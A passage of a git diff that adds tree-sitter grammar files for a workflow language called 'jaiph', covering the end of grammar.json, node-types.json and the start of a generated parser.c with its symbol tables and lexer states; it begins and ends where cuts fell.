"SYMBOL", + "name": "regex" + }, + { + "type": "SYMBOL", + "name": "number" + }, + { + "type": "SYMBOL", + "name": "qualified_identifier" + }, + { + "type": "STRING", + "value": "import" + }, + { + "type": "STRING", + "value": "export" + }, + { + "type": "STRING", + "value": "as" + }, + { + "type": "STRING", + "value": "config" + }, + { + "type": "STRING", + "value": "channel" + }, + { + "type": "STRING", + "value": "script" + }, + { + "type": "STRING", + "value": "rule" + }, + { + "type": "STRING", + "value": "workflow" + }, + { + "type": "STRING", + "value": "test" + }, + { + "type": "STRING", + "value": "const" + }, + { + "type": "STRING", + "value": "run" + }, + { + "type": "STRING", + "value": "ensure" + }, + { + "type": "STRING", + "value": "prompt" + }, + { + "type": "STRING", + "value": "log" + }, + { + "type": "STRING", + "value": "logerr" + }, + { + "type": "STRING", + "value": "logwarn" + }, + { + "type": "STRING", + "value": "fail" + }, + { + "type": "STRING", + "value": "return" + }, + { + "type": "STRING", + "value": "send" + }, + { + "type": "STRING", + "value": "recover" + }, + { + "type": "STRING", + "value": "catch" + }, + { + "type": "STRING", + "value": "if" + }, + { + "type": "STRING", + "value": "else" + }, + { + "type": "STRING", + "value": "for" + }, + { + "type": "STRING", + "value": "in" + }, + { + "type": "STRING", + "value": "match" + }, + { + "type": "STRING", + "value": "async" + }, + { + "type": "STRING", + "value": "returns" + }, + { + "type": "STRING", + "value": "not" + }, + { + "type": "STRING", + "value": "mock" + }, + { + "type": "STRING", + "value": "allow_failure" + }, + { + "type": "STRING", + "value": "expect_contain" + }, + { + "type": "STRING", + "value": "expect_not_contain" + }, + { + "type": "STRING", + "value": "expect_equal" + }, + { + "type": "STRING", + "value": "true" + }, + { + "type": "STRING", + "value": "false" + }, + { + "type": "SYMBOL", + "name": "operator" + }, + { + "type": "STRING", + "value": "{" + }, + { + "type": "STRING", + "value": "}" + }, + { + "type": "STRING", + "value": "(" + }, + { + "type": "STRING", + "value": ")" + }, + { + "type": "STRING", + "value": "[" + }, + { + "type": "STRING", + "value": "]" + }, + { + "type": "STRING", + "value": "." + }, + { + "type": "STRING", + "value": "," + }, + { + "type": "SYMBOL", + "name": "identifier" + } + ] + }, + "comment": { + "type": "TOKEN", + "content": { + "type": "PATTERN", + "value": "#.*" + } + }, + "operator": { + "type": "CHOICE", + "members": [ + { + "type": "STRING", + "value": "<-" + }, + { + "type": "STRING", + "value": "->" + }, + { + "type": "STRING", + "value": "=>" + }, + { + "type": "STRING", + "value": "==" + }, + { + "type": "STRING", + "value": "!=" + }, + { + "type": "STRING", + "value": "=~" + }, + { + "type": "STRING", + "value": "!~" + }, + { + "type": "STRING", + "value": "=" + } + ] + }, + "number": { + "type": "TOKEN", + "content": { + "type": "PATTERN", + "value": "[0-9]+" + } + }, + "identifier": { + "type": "TOKEN", + "content": { + "type": "PATTERN", + "value": "[A-Za-z_][A-Za-z0-9_]*" + } + }, + "qualified_identifier": { + "type": "TOKEN", + "content": { + "type": "PATTERN", + "value": "[A-Za-z_][A-Za-z0-9_]*(\\.[A-Za-z_][A-Za-z0-9_]*)+" + } + }, + "regex": { + "type": "TOKEN", + "content": { + "type": "SEQ", + "members": [ + { + "type": "STRING", + "value": "/" + }, + { + "type": "PATTERN", + "value": "[^/\\n]+" + }, + { + "type": "STRING", + "value": "/" + } + ] + } + }, + "string": { + "type": "TOKEN", + "content": { + "type": "SEQ", + "members": [ + { + "type": "STRING", + "value": "\"" + }, + { + "type": "REPEAT", + "content": { + "type": "CHOICE", + "members": [ + { + "type": "PATTERN", + "value": "[^\"\\\\]" + }, + { + "type": "PATTERN", + "value": "\\\\." + } + ] + } + }, + { + "type": "STRING", + "value": "\"" + } + ] + } + }, + "triple_string": { + "type": "TOKEN", + "content": { + "type": "SEQ", + "members": [ + { + "type": "STRING", + "value": "\"\"\"" + }, + { + "type": "REPEAT", + "content": { + "type": "CHOICE", + "members": [ + { + "type": "PATTERN", + "value": "[^\"]" + }, + { + "type": "PATTERN", + "value": "\"[^\"]" + }, + { + "type": "PATTERN", + "value": "\"\"[^\"]" + } + ] + } + }, + { + "type": "STRING", + "value": "\"\"\"" + } + ] + } + }, + "backtick_string": { + "type": "TOKEN", + "content": { + "type": "SEQ", + "members": [ + { + "type": "STRING", + "value": "`" + }, + { + "type": "PATTERN", + "value": "[^`]*" + }, + { + "type": "STRING", + "value": "`" + } + ] + } + }, + "fenced_block": { + "type": "SEQ", + "members": [ + { + "type": "STRING", + "value": "```" + }, + { + "type": "CHOICE", + "members": [ + { + "type": "FIELD", + "name": "language", + "content": { + "type": "ALIAS", + "content": { + "type": "SYMBOL", + "name": "fence_language" + }, + "named": true, + "value": "language" + } + }, + { + "type": "BLANK" + } + ] + }, + { + "type": "CHOICE", + "members": [ + { + "type": "FIELD", + "name": "body", + "content": { + "type": "ALIAS", + "content": { + "type": "SYMBOL", + "name": "fence_content" + }, + "named": true, + "value": "embedded" + } + }, + { + "type": "BLANK" + } + ] + }, + { + "type": "STRING", + "value": "```" + } + ] + }, + "fence_language": { + "type": "IMMEDIATE_TOKEN", + "content": { + "type": "PATTERN", + "value": "[A-Za-z0-9_]+" + } + }, + "fence_content": { + "type": "TOKEN", + "content": { + "type": "PREC", + "value": -1, + "content": { + "type": "PATTERN", + "value": "([^`]|`[^`]|``[^`])+" + } + } + } + }, + "extras": [ + { + "type": "PATTERN", + "value": "\\s" + } + ], + "conflicts": [], + "precedences": [], + "externals": [], + "inline": [], + "supertypes": [] +} diff --git a/grammars/tree-sitter-jaiph/src/node-types.json b/grammars/tree-sitter-jaiph/src/node-types.json new file mode 100644 index 00000000..5425043d --- /dev/null +++ b/grammars/tree-sitter-jaiph/src/node-types.json @@ -0,0 +1,337 @@ +[ + { + "type": "fenced_block", + "named": true, + "fields": { + "body": { + "multiple": false, + "required": false, + "types": [ + { + "type": "embedded", + "named": true + } + ] + }, + "language": { + "multiple": false, + "required": false, + "types": [ + { + "type": "language", + "named": true + } + ] + } + } + }, + { + "type": "operator", + "named": true, + "fields": {} + }, + { + "type": "source_file", + "named": true, + "root": true, + "fields": {}, + "children": { + "multiple": true, + "required": false, + "types": [ + { + "type": "backtick_string", + "named": true + }, + { + "type": "comment", + "named": true + }, + { + "type": "fenced_block", + "named": true + }, + { + "type": "identifier", + "named": true + }, + { + "type": "number", + "named": true + }, + { + "type": "operator", + "named": true + }, + { + "type": "qualified_identifier", + "named": true + }, + { + "type": "regex", + "named": true + }, + { + "type": "string", + "named": true + }, + { + "type": "triple_string", + "named": true + } + ] + } + }, + { + "type": "!=", + "named": false + }, + { + "type": "!~", + "named": false + }, + { + "type": "(", + "named": false + }, + { + "type": ")", + "named": false + }, + { + "type": ",", + "named": false + }, + { + "type": "->", + "named": false + }, + { + "type": ".", + "named": false + }, + { + "type": "<-", + "named": false + }, + { + "type": "=", + "named": false + }, + { + "type": "==", + "named": false + }, + { + "type": "=>", + "named": false + }, + { + "type": "=~", + "named": false + }, + { + "type": "[", + "named": false + }, + { + "type": "]", + "named": false + }, + { + "type": "```", + "named": false + }, + { + "type": "allow_failure", + "named": false + }, + { + "type": "as", + "named": false + }, + { + "type": "async", + "named": false + }, + { + "type": "backtick_string", + "named": true + }, + { + "type": "catch", + "named": false + }, + { + "type": "channel", + "named": false + }, + { + "type": "comment", + "named": true + }, + { + "type": "config", + "named": false + }, + { + "type": "const", + "named": false + }, + { + "type": "else", + "named": false + }, + { + "type": "embedded", + "named": true + }, + { + "type": "ensure", + "named": false + }, + { + "type": "expect_contain", + "named": false + }, + { + "type": "expect_equal", + "named": false + }, + { + "type": "expect_not_contain", + "named": false + }, + { + "type": "export", + "named": false + }, + { + "type": "fail", + "named": false + }, + { + "type": "false", + "named": false + }, + { + "type": "for", + "named": false + }, + { + "type": "identifier", + "named": true + }, + { + "type": "if", + "named": false + }, + { + "type": "import", + "named": false + }, + { + "type": "in", + "named": false + }, + { + "type": "language", + "named": true + }, + { + "type": "log", + "named": false + }, + { + "type": "logerr", + "named": false + }, + { + "type": "logwarn", + "named": false + }, + { + "type": "match", + "named": false + }, + { + "type": "mock", + "named": false + }, + { + "type": "not", + "named": false + }, + { + "type": "number", + "named": true + }, + { + "type": "prompt", + "named": false + }, + { + "type": "qualified_identifier", + "named": true + }, + { + "type": "recover", + "named": false + }, + { + "type": "regex", + "named": true + }, + { + "type": "return", + "named": false + }, + { + "type": "returns", + "named": false + }, + { + "type": "rule", + "named": false + }, + { + "type": "run", + "named": false + }, + { + "type": "script", + "named": false + }, + { + "type": "send", + "named": false + }, + { + "type": "string", + "named": true + }, + { + "type": "test", + "named": false + }, + { + "type": "triple_string", + "named": true + }, + { + "type": "true", + "named": false + }, + { + "type": "workflow", + "named": false + }, + { + "type": "{", + "named": false + }, + { + "type": "}", + "named": false + } +] \ No newline at end of file diff --git a/grammars/tree-sitter-jaiph/src/parser.c b/grammars/tree-sitter-jaiph/src/parser.c new file mode 100644 index 00000000..7de534b4 --- /dev/null +++ b/grammars/tree-sitter-jaiph/src/parser.c @@ -0,0 +1,2065 @@ +#include "tree_sitter/parser.h" + +#if defined(__GNUC__) || defined(__clang__) +#pragma GCC diagnostic ignored "-Wmissing-field-initializers" +#endif + +#define LANGUAGE_VERSION 14 +#define STATE_COUNT 14 +#define LARGE_STATE_COUNT 9 +#define SYMBOL_COUNT 69 +#define ALIAS_COUNT 0 +#define TOKEN_COUNT 64 +#define EXTERNAL_TOKEN_COUNT 0 +#define FIELD_COUNT 2 +#define MAX_ALIAS_SEQUENCE_LENGTH 4 +#define PRODUCTION_ID_COUNT 4 + +enum ts_symbol_identifiers { + sym_identifier = 1, + anon_sym_import = 2, + anon_sym_export = 3, + anon_sym_as = 4, + anon_sym_config = 5, + anon_sym_channel = 6, + anon_sym_script = 7, + anon_sym_rule = 8, + anon_sym_workflow = 9, + anon_sym_test = 10, + anon_sym_const = 11, + anon_sym_run = 12, + anon_sym_ensure = 13, + anon_sym_prompt = 14, + anon_sym_log = 15, + anon_sym_logerr = 16, + anon_sym_logwarn = 17, + anon_sym_fail = 18, + anon_sym_return = 19, + anon_sym_send = 20, + anon_sym_recover = 21, + anon_sym_catch = 22, + anon_sym_if = 23, + anon_sym_else = 24, + anon_sym_for = 25, + anon_sym_in = 26, + anon_sym_match = 27, + anon_sym_async = 28, + anon_sym_returns = 29, + anon_sym_not = 30, + anon_sym_mock = 31, + anon_sym_allow_failure = 32, + anon_sym_expect_contain = 33, + anon_sym_expect_not_contain = 34, + anon_sym_expect_equal = 35, + anon_sym_true = 36, + anon_sym_false = 37, + anon_sym_LBRACE = 38, + anon_sym_RBRACE = 39, + anon_sym_LPAREN = 40, + anon_sym_RPAREN = 41, + anon_sym_LBRACK = 42, + anon_sym_RBRACK = 43, + anon_sym_DOT = 44, + anon_sym_COMMA = 45, + sym_comment = 46, + anon_sym_LT_DASH = 47, + anon_sym_DASH_GT = 48, + anon_sym_EQ_GT = 49, + anon_sym_EQ_EQ = 50, + anon_sym_BANG_EQ = 51, + anon_sym_EQ_TILDE = 52, + anon_sym_BANG_TILDE = 53, + anon_sym_EQ = 54, + sym_number = 55, + sym_qualified_identifier = 56, + sym_regex = 57, + sym_string = 58, + sym_triple_string = 59, + sym_backtick_string = 60, + anon_sym_BQUOTE_BQUOTE_BQUOTE = 61, + sym_fence_language = 62, + sym_fence_content = 63, + sym_source_file = 64, + sym__token = 65, + sym_operator = 66, + sym_fenced_block = 67, + aux_sym_source_file_repeat1 = 68, +}; + +static const char * const ts_symbol_names[] = { + [ts_builtin_sym_end] = "end", + [sym_identifier] = "identifier", + [anon_sym_import] = "import", + [anon_sym_export] = "export", + [anon_sym_as] = "as", + [anon_sym_config] = "config", + [anon_sym_channel] = "channel", + [anon_sym_script] = "script", + [anon_sym_rule] = "rule", + [anon_sym_workflow] = "workflow", + [anon_sym_test] = "test", + [anon_sym_const] = "const", + [anon_sym_run] = "run", + [anon_sym_ensure] = "ensure", + [anon_sym_prompt] = "prompt", + [anon_sym_log] = "log", + [anon_sym_logerr] = "logerr", + [anon_sym_logwarn] = "logwarn", + [anon_sym_fail] = "fail", + [anon_sym_return] = "return", + [anon_sym_send] = "send", + [anon_sym_recover] = "recover", + [anon_sym_catch] = "catch", + [anon_sym_if] = "if", + [anon_sym_else] = "else", + [anon_sym_for] = "for", + [anon_sym_in] = "in", + [anon_sym_match] = "match", + [anon_sym_async] = "async", + [anon_sym_returns] = "returns", + [anon_sym_not] = "not", + [anon_sym_mock] = "mock", + [anon_sym_allow_failure] = "allow_failure", + [anon_sym_expect_contain] = "expect_contain", + [anon_sym_expect_not_contain] = "expect_not_contain", + [anon_sym_expect_equal] = "expect_equal", + [anon_sym_true] = "true", + [anon_sym_false] = "false", + [anon_sym_LBRACE] = "{", + [anon_sym_RBRACE] = "}", + [anon_sym_LPAREN] = "(", + [anon_sym_RPAREN] = ")", + [anon_sym_LBRACK] = "[", + [anon_sym_RBRACK] = "]", + [anon_sym_DOT] = ".", + [anon_sym_COMMA] = ",", + [sym_comment] = "comment", + [anon_sym_LT_DASH] = "<-", + [anon_sym_DASH_GT] = "->", + [anon_sym_EQ_GT] = "=>", + [anon_sym_EQ_EQ] = "==", + [anon_sym_BANG_EQ] = "!=", + [anon_sym_EQ_TILDE] = "=~", + [anon_sym_BANG_TILDE] = "!~", + [anon_sym_EQ] = "=", + [sym_number] = "number", + [sym_qualified_identifier] = "qualified_identifier", + [sym_regex] = "regex", + [sym_string] = "string", + [sym_triple_string] = "triple_string", + [sym_backtick_string] = "backtick_string", + [anon_sym_BQUOTE_BQUOTE_BQUOTE] = "```", + [sym_fence_language] = "language", + [sym_fence_content] = "embedded", + [sym_source_file] = "source_file", + [sym__token] = "_token", + [sym_operator] = "operator", + [sym_fenced_block] = "fenced_block", + [aux_sym_source_file_repeat1] = "source_file_repeat1", +}; + +static const TSSymbol ts_symbol_map[] = { + [ts_builtin_sym_end] = ts_builtin_sym_end, + [sym_identifier] = sym_identifier, + [anon_sym_import] = anon_sym_import, + [anon_sym_export] = anon_sym_export, + [anon_sym_as] = anon_sym_as, + [anon_sym_config] = anon_sym_config, + [anon_sym_channel] = anon_sym_channel, + [anon_sym_script] = anon_sym_script, + [anon_sym_rule] = anon_sym_rule, + [anon_sym_workflow] = anon_sym_workflow, + [anon_sym_test] = anon_sym_test, + [anon_sym_const] = anon_sym_const, + [anon_sym_run] = anon_sym_run, + [anon_sym_ensure] = anon_sym_ensure, + [anon_sym_prompt] = anon_sym_prompt, + [anon_sym_log] = anon_sym_log, + [anon_sym_logerr] = anon_sym_logerr, + [anon_sym_logwarn] = anon_sym_logwarn, + [anon_sym_fail] = anon_sym_fail, + [anon_sym_return] = anon_sym_return, + [anon_sym_send] = anon_sym_send, + [anon_sym_recover] = anon_sym_recover, + [anon_sym_catch] = anon_sym_catch, + [anon_sym_if] = anon_sym_if, + [anon_sym_else] = anon_sym_else, + [anon_sym_for] = anon_sym_for, + [anon_sym_in] = anon_sym_in, + [anon_sym_match] = anon_sym_match, + [anon_sym_async] = anon_sym_async, + [anon_sym_returns] = anon_sym_returns, + [anon_sym_not] = anon_sym_not, + [anon_sym_mock] = anon_sym_mock, + [anon_sym_allow_failure] = anon_sym_allow_failure, + [anon_sym_expect_contain] = anon_sym_expect_contain, + [anon_sym_expect_not_contain] = anon_sym_expect_not_contain, + [anon_sym_expect_equal] = anon_sym_expect_equal, + [anon_sym_true] = anon_sym_true, + [anon_sym_false] = anon_sym_false, + [anon_sym_LBRACE] = anon_sym_LBRACE, + [anon_sym_RBRACE] = anon_sym_RBRACE, + [anon_sym_LPAREN] = anon_sym_LPAREN, + [anon_sym_RPAREN] = anon_sym_RPAREN, + [anon_sym_LBRACK] = anon_sym_LBRACK, + [anon_sym_RBRACK] = anon_sym_RBRACK, + [anon_sym_DOT] = anon_sym_DOT, + [anon_sym_COMMA] = anon_sym_COMMA, + [sym_comment] = sym_comment, + [anon_sym_LT_DASH] = anon_sym_LT_DASH, + [anon_sym_DASH_GT] = anon_sym_DASH_GT, + [anon_sym_EQ_GT] = anon_sym_EQ_GT, + [anon_sym_EQ_EQ] = anon_sym_EQ_EQ, + [anon_sym_BANG_EQ] = anon_sym_BANG_EQ, + [anon_sym_EQ_TILDE] = anon_sym_EQ_TILDE, + [anon_sym_BANG_TILDE] = anon_sym_BANG_TILDE, + [anon_sym_EQ] = anon_sym_EQ, + [sym_number] = sym_number, + [sym_qualified_identifier] = sym_qualified_identifier, + [sym_regex] = sym_regex, + [sym_string] = sym_string, + [sym_triple_string] = sym_triple_string, + [sym_backtick_string] = sym_backtick_string, + [anon_sym_BQUOTE_BQUOTE_BQUOTE] = anon_sym_BQUOTE_BQUOTE_BQUOTE, + [sym_fence_language] = sym_fence_language, + [sym_fence_content] = sym_fence_content, + [sym_source_file] = sym_source_file, + [sym__token] = sym__token, + [sym_operator] = sym_operator, + [sym_fenced_block] = sym_fenced_block, + [aux_sym_source_file_repeat1] = aux_sym_source_file_repeat1, +}; + +static const TSSymbolMetadata ts_symbol_metadata[] = { + [ts_builtin_sym_end] = { + .visible = false, + .named = true, + }, + [sym_identifier] = { + .visible = true, + .named = true, + }, + [anon_sym_import] = { + .visible = true, + .named = false, + }, + [anon_sym_export] = { + .visible = true, + .named = false, + }, + [anon_sym_as] = { + .visible = true, + .named = false, + }, + [anon_sym_config] = { + .visible = true, + .named = false, + }, + [anon_sym_channel] = { + .visible = true, + .named = false, + }, + [anon_sym_script] = { + .visible = true, + .named = false, + }, + [anon_sym_rule] = { + .visible = true, + .named = false, + }, + [anon_sym_workflow] = { + .visible = true, + .named = false, + }, + [anon_sym_test] = { + .visible = true, + .named = false, + }, + [anon_sym_const] = { + .visible = true, + .named = false, + }, + [anon_sym_run] = { + .visible = true, + .named = false, + }, + [anon_sym_ensure] = { + .visible = true, + .named = false, + }, + [anon_sym_prompt] = { + .visible = true, + .named = false, + }, + [anon_sym_log] = { + .visible = true, + .named = false, + }, + [anon_sym_logerr] = { + .visible = true, + .named = false, + }, + [anon_sym_logwarn] = { + .visible = true, + .named = false, + }, + [anon_sym_fail] = { + .visible = true, + .named = false, + }, + [anon_sym_return] = { + .visible = true, + .named = false, + }, + [anon_sym_send] = { + .visible = true, + .named = false, + }, + [anon_sym_recover] = { + .visible = true, + .named = false, + }, + [anon_sym_catch] = { + .visible = true, + .named = false, + }, + [anon_sym_if] = { + .visible = true, + .named = false, + }, + [anon_sym_else] = { + .visible = true, + .named = false, + }, + [anon_sym_for] = { + .visible = true, + .named = false, + }, + [anon_sym_in] = { + .visible = true, + .named = false, + }, + [anon_sym_match] = { + .visible = true, + .named = false, + }, + [anon_sym_async] = { + .visible = true, + .named = false, + }, + [anon_sym_returns] = { + .visible = true, + .named = false, + }, + [anon_sym_not] = { + .visible = true, + .named = false, + }, + [anon_sym_mock] = { + .visible = true, + .named = false, + }, + [anon_sym_allow_failure] = { + .visible = true, + .named = false, + }, + [anon_sym_expect_contain] = { + .visible = true, + .named = false, + }, + [anon_sym_expect_not_contain] = { + .visible = true, + .named = false, + }, + [anon_sym_expect_equal] = { + .visible = true, + .named = false, + }, + [anon_sym_true] = { + .visible = true, + .named = false, + }, + [anon_sym_false] = { + .visible = true, + .named = false, + }, + [anon_sym_LBRACE] = { + .visible = true, + .named = false, + }, + [anon_sym_RBRACE] = { + .visible = true, + .named = false, + }, + [anon_sym_LPAREN] = { + .visible = true, + .named = false, + }, + [anon_sym_RPAREN] = { + .visible = true, + .named = false, + }, + [anon_sym_LBRACK] = { + .visible = true, + .named = false, + }, + [anon_sym_RBRACK] = { + .visible = true, + .named = false, + }, + [anon_sym_DOT] = { + .visible = true, + .named = false, + }, + [anon_sym_COMMA] = { + .visible = true, + .named = false, + }, + [sym_comment] = { + .visible = true, + .named = true, + }, + [anon_sym_LT_DASH] = { + .visible = true, + .named = false, + }, + [anon_sym_DASH_GT] = { + .visible = true, + .named = false, + }, + [anon_sym_EQ_GT] = { + .visible = true, + .named = false, + }, + [anon_sym_EQ_EQ] = { + .visible = true, + .named = false, + }, + [anon_sym_BANG_EQ] = { + .visible = true, + .named = false, + }, + [anon_sym_EQ_TILDE] = { + .visible = true, + .named = false, + }, + [anon_sym_BANG_TILDE] = { + .visible = true, + .named = false, + }, + [anon_sym_EQ] = { + .visible = true, + .named = false, + }, + [sym_number] = { + .visible = true, + .named = true, + }, + [sym_qualified_identifier] = { + .visible = true, + .named = true, + }, + [sym_regex] = { + .visible = true, + .named = true, + }, + [sym_string] = { + .visible = true, + .named = true, + }, + [sym_triple_string] = { + .visible = true, + .named = true, + }, + [sym_backtick_string] = { + .visible = true, + .named = true, + }, + [anon_sym_BQUOTE_BQUOTE_BQUOTE] = { + .visible = true, + .named = false, + }, + [sym_fence_language] = { + .visible = true, + .named = true, + }, + [sym_fence_content] = { + .visible = true, + .named = true, + }, + [sym_source_file] = { + .visible = true, + .named = true, + }, + [sym__token] = { + .visible = false, + .named = true, + }, + [sym_operator] = { + .visible = true, + .named = true, + }, + [sym_fenced_block] = { + .visible = true, + .named = true, + }, + [aux_sym_source_file_repeat1] = { + .visible = false, + .named = false, + }, +}; + +enum ts_field_identifiers { + field_body = 1, + field_language = 2, +}; + +static const char * const ts_field_names[] = { + [0] = NULL, + [field_body] = "body", + [field_language] = "language", +}; + +static const TSFieldMapSlice ts_field_map_slices[PRODUCTION_ID_COUNT] = { + [1] = {.index = 0, .length = 1}, + [2] = {.index = 1, .length = 1}, + [3] = {.index = 2, .length = 2}, +}; + +static const TSFieldMapEntry ts_field_map_entries[] = { + [0] = + {field_language, 1}, + [1] = + {field_body, 1}, + [2] = + {field_body, 2}, + {field_language, 1}, +}; + +static const TSSymbol ts_alias_sequences[PRODUCTION_ID_COUNT][MAX_ALIAS_SEQUENCE_LENGTH] = { + [0] = {0}, +}; + +static const uint16_t ts_non_terminal_alias_map[] = { + 0, +}; + +static const TSStateId ts_primary_state_ids[STATE_COUNT] = { + [0] = 0, + [1] = 1, + [2] = 2, + [3] = 3, + [4] = 4, + [5] = 5, + [6] = 6, + [7] = 7, + [8] = 8, + [9] = 9, + [10] = 10, + [11] = 11, + [12] = 12, + [13] = 13, +}; + +static bool ts_lex(TSLexer *lexer, TSStateId state) { + START_LEXER(); + eof = lexer->eof(lexer); + switch (state) { + case 0: + if (eof) ADVANCE(21); + ADVANCE_MAP( + '!', 8, + '"', 1, + '#', 30, + '(', 24, + ')', 25, + ',', 29, + '-', 9, + '.', 28, + '/', 18, + '<', 6, + '=', 38, + '[', 26, + ']', 27, + '`', 10, + '{', 22, + '}', 23, + ); + if (('\t' <= lookahead && lookahead <= '\r') || + lookahead == ' ') SKIP(0); + if (('0' <= lookahead && lookahead <= '9')) ADVANCE(39); + if (('A' <= lookahead && lookahead <= 'Z') || + ('_' <= lookahead && lookahead <= 'z')) ADVANCE(40); + END_STATE(); + case 1: + if (lookahead == '"') ADVANCE(44); + if (lookahead == '\\') ADVANCE(19); + if (lookahead != 0) ADVANCE(2); + END_STATE(); + case 2: + if (lookahead == '"') ADVANCE(43); + if (lookahead == '\\') ADVANCE(19); + if (lookahead != 0) ADVANCE(2); + END_STATE(); + case 3: + if (lookahead == '"') ADVANCE(45); + if (lookahead != 0) ADVANCE(5); + END_STATE(); + case 4: + if (lookahead == '"') ADVANCE(3); + if (lookahead != 0) ADVANCE(5); + END_STATE(); + case 5: + if (lookahead == '"') ADVANCE(4); + if (lookahead != 0) ADVANCE(5); + END_STATE(); + case 6: + if (lookahead == '-') ADVANCE(31); + END_STATE(); + case 7: + if (lookahead == '/') ADVANCE(42); + if (lookahead != 0 && + lookahead != '\n') ADVANCE(7); + END_STATE(); + case 8: + if (lookahead == '=') ADVANCE(35); + if (lookahead == '~') ADVANCE(37); + END_STATE(); + case 9: + if (lookahead == '>') ADVANCE(32); + END_STATE(); + case 10: + if (lookahead == '`') ADVANCE(47); + if (lookahead != 0) ADVANCE(12); + END_STATE(); + case 11: + if (lookahead == '`') ADVANCE(48); + if (lookahead != 0) ADVANCE(51); + END_STATE(); + case 12: + if (lookahead == '`') ADVANCE(46); + if (lookahead != 0) ADVANCE(12); + END_STATE(); + case 13: + if (lookahead == '`') ADVANCE(20); + if (lookahead != 0) ADVANCE(51); + END_STATE(); + case 14: + if (lookahead == '`') ADVANCE(16); + if (('\t' <= lookahead && lookahead <= '\r') || + lookahead == ' ') ADVANCE(50); + if (('0' <= lookahead && lookahead <= '9') || + ('A' <= lookahead && lookahead <= 'Z') || + ('_' <= lookahead && lookahead <= 'z')) ADVANCE(49); + if (lookahead != 0) ADVANCE(51); + END_STATE(); + case 15: + if (lookahead == '`') ADVANCE(16); + if (('\t' <= lookahead && lookahead <= '\r') || + lookahead == ' ') ADVANCE(50); + if (lookahead != 0) ADVANCE(51); + END_STATE(); + case 16: + if (lookahead == '`') ADVANCE(11); + if (lookahead != 0) ADVANCE(51); + END_STATE(); + case 17: + if (('A' <= lookahead && lookahead <= 'Z') || + lookahead == '_' || + ('a' <= lookahead && lookahead <= 'z')) ADVANCE(41); + END_STATE(); + case 18: + if (lookahead != 0 && + lookahead != '\n' && + lookahead != '/') ADVANCE(7); + END_STATE(); + case 19: + if (lookahead != 0 && + lookahead != '\n') ADVANCE(2); + END_STATE(); + case 20: + if (lookahead != 0 && + lookahead != '`') ADVANCE(51); + END_STATE(); + case 21: + ACCEPT_TOKEN(ts_builtin_sym_end); + END_STATE(); + case 22: + ACCEPT_TOKEN(anon_sym_LBRACE); + END_STATE(); + case 23: + ACCEPT_TOKEN(anon_sym_RBRACE); + END_STATE(); + case 24: + ACCEPT_TOKEN(anon_sym_LPAREN); + END_STATE(); + case 25: + ACCEPT_TOKEN(anon_sym_RPAREN); + END_STATE(); + case 26: + ACCEPT_TOKEN(anon_sym_LBRACK); + END_STATE(); + case 27: + ACCEPT_TOKEN(anon_sym_RBRACK); + END_STATE(); + case 28: + ACCEPT_TOKEN(anon_sym_DOT); + END_STATE(); + case 29: + ACCEPT_TOKEN(anon_sym_COMMA); + END_STATE(); + case 30: + ACCEPT_TOKEN(sym_comment); + if (lookahead != 0 && + lookahead != '\n') ADVANCE(30); + END_STATE(); + case 31: + ACCEPT_TOKEN(anon_sym_LT_DASH); + END_STATE(); + case 32: + ACCEPT_TOKEN(anon_sym_DASH_GT); + END_STATE(); + case 33: + ACCEPT_TOKEN(anon_sym_EQ_GT); + END_STATE(); + case 34: + ACCEPT_TOKEN(anon_sym_EQ_EQ); + END_STATE(); + case 35: + ACCEPT_TOKEN(anon_sym_BANG_EQ); + END_STATE(); + case 36: + ACCEPT_TOKEN(anon_sym_EQ_TILDE); + END_STATE(); + case 37: + ACCEPT_TOKEN(anon_sym_BANG_TILDE); + END_STATE(); + case 38: + ACCEPT_TOKEN(anon_sym_EQ); + if (lookahead == '=') ADVANCE(34); + if (lookahead == '>') ADVANCE(33); + if (lookahead == '~') ADVANCE(36); + END_STATE(); + case 39: + ACCEPT_TOKEN(sym_number); + if (('0' <= lookahead && lookahead <= '9')) ADVANCE(39); + END_STATE(); + case 40: + ACCEPT_TOKEN(sym_identifier); + if (lookahead == '.') ADVANCE(17); + if (('0' <= lookahead && lookahead <= '9') || + ('A' <= lookahead && lookahead <= 'Z') || + lookahead == '_' || + ('a' <= lookahead && lookahead <= 'z')) ADVANCE(40); + END_STATE(); + case 41: + ACCEPT_TOKEN(sym_qualified_identifier); + if (lookahead == '.') ADVANCE(17); + if (('0' <= lookahead && lookahead <= '9') || + ('A' <= lookahead && lookahead <= 'Z') || + lookahead == '_' || + ('a' <= lookahead && lookahead <= 'z')) ADVANCE(41); + END_STATE(); + case 42: + ACCEPT_TOKEN(sym_regex); + END_STATE(); + case 43: + ACCEPT_TOKEN(sym_string); + END_STATE(); + case 44: + ACCEPT_TOKEN(sym_string); + if (lookahead == '"') ADVANCE(5); + END_STATE(); + case 45: + ACCEPT_TOKEN(sym_triple_string); + END_STATE(); + case 46: + ACCEPT_TOKEN(sym_backtick_string); + END_STATE(); + case 47: + ACCEPT_TOKEN(sym_backtick_string); + if (lookahead == '`') ADVANCE(48); + END_STATE(); + case 48: + ACCEPT_TOKEN(anon_sym_BQUOTE_BQUOTE_BQUOTE); + END_STATE(); + case 49: + ACCEPT_TOKEN(sym_fence_language); + if (('0' <= lookahead && lookahead <= '9') || + ('A' <= lookahead && lookahead <= 'Z') || + lookahead == '_' || + ('a' <= lookahead && lookahead <= 'z')) ADVANCE(49); + END_STATE(); + case 50: + ACCEPT_TOKEN(sym_fence_content); + if (lookahead == '`') ADVANCE(16); + if (('\t' <= lookahead && lookahead <= '\r') || + lookahead == ' ') ADVANCE(50); + if (lookahead != 0) ADVANCE(51); + END_STATE(); + case 51: + ACCEPT_TOKEN(sym_fence_content); + if (lookahead == '`') ADVANCE(13); + if (lookahead != 0) ADVANCE(51); + END_STATE(); + default: + return false; + } +} + +static bool ts_lex_keywords(TSLexer *lexer, TSStateId state) { + START_LEXER(); + eof = lexer->eof(lexer); + switch (state) { + case 0: + ADVANCE_MAP( + 'a', 1, + 'c', 2, + 'e', 3, + 'f', 4, + 'i', 5, + 'l', 6, + 'm', 7, + 'n', 8, + 'p', 9, + 'r', 10, + 's', 11, + 't', 12, + 'w', 13, + ); + if (('\t' <= lookahead && lookahead <= '\r') || + lookahead == ' ') SKIP(0); + END_STATE(); + case 1: + if (lookahead == 'l') ADVANCE(14); + if (lookahead == 's') ADVANCE(15); + END_STATE(); + case 2: + if (lookahead == 'a') ADVANCE(16); + if (lookahead == 'h') ADVANCE(17); + if (lookahead == 'o') ADVANCE(18); + END_STATE(); + case 3: + if (lookahead == 'l') ADVANCE(19); + if (lookahead == 'n') ADVANCE(20); + if (lookahead == 'x') ADVANCE(21); + END_STATE(); + case 4: + if (lookahead == 'a') ADVANCE(22); + if (lookahead == 